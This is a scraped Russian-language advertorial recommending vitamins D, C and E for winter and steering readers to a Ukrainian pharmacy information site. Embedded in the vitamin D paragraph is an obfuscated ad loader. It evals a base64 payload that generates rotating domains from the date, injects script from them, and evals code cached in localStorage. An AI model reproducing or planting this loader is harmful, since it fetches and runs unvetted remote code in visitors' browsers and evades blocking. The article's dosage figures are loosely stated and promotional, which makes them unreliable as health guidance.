Если в теплое время года большую часть полезных витаминов и минералов можно получить из продуктов питания – фруктов, ягод, свежих овощей, то зимой не обойтись без аптечных витаминно-минеральных комплексов. Какие вещества самые необходимые для взрослых и детей в холодное время года? Что принимать, чтобы укрепить иммунитет, побороть зимнюю хандру и улучшить терморегуляцию?
Витамины, которые стоит принимать зимой 
Благо, в наше время без особых сложностей можно купить популярные витаминно-минеральные комплексы отечественных и зарубежных фармацевтических компаний. А перейдя по ссылке https://apteka911.ua/shop/lekarstvennyie-preparatyi/vitaminyi на сайт медицинской информационной системы Аптека 9-1-1, можно ознакомиться практически с полным ассортиментом такой продукции на отечественном фармацевтическом рынке, изучить составы разных комплексов, уточнить цены и адреса, где их продают.
Но если желаете выбрать добавки, которые будет наиболее полезными для организма в холодное время года, тогда прежде всего стоит обратить внимание на такие:
Витамин D
Когда световой день длинный и человек много времени проводит на улице, то организм, как правило, сам вырабатывает нужное количество этого вещества. Зимой же многие сталкиваются с его дефицитом, что ведет к хрупкости костной ткани, ослаблению иммунитета, склонности к депрессивным состояниям. Дневная норма для взрослых варьируется в пределах 600-2000 МЕ. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Витамин С
Один из основных защитников от вирусных заболеваний и простуды, так как способствует укреплению иммунитета, а также правильному метаболизму. Средняя суточная норма для взрослых – 50-100 мг, терапевтическая может достигать 1000-5000 мг в сутки.
Витамин Е
Отвечает за здоровье кожи, которая в холодное время года у многих шелушится, пересыхает, зудит, в результате чего повышается риск обострения хронических дерматологических проблем. Это же вещество отвечает за правильную терморегуляцию тела. Витамин Е можно принимать в виде комплексной добавки, моновитамина или рыбьего жира. Суточная норма вещества – от 30-40 до 60-600 МЕ.
Где покупать витамины?
Единственный способ приобрести оригинальные эффективные и безопасные БАДы – покупать в сертифицированных аптеках. Список таких продавцов во всех регионах Украины можно найти на сайте МИС Аптека 9-1-1. Там же можно более детально ознакомиться с полезными свойствами разных витаминных добавок.
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/top-3-vitaminov-chtoby-ne-bolet-v-holodnoe-vremya-goda/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
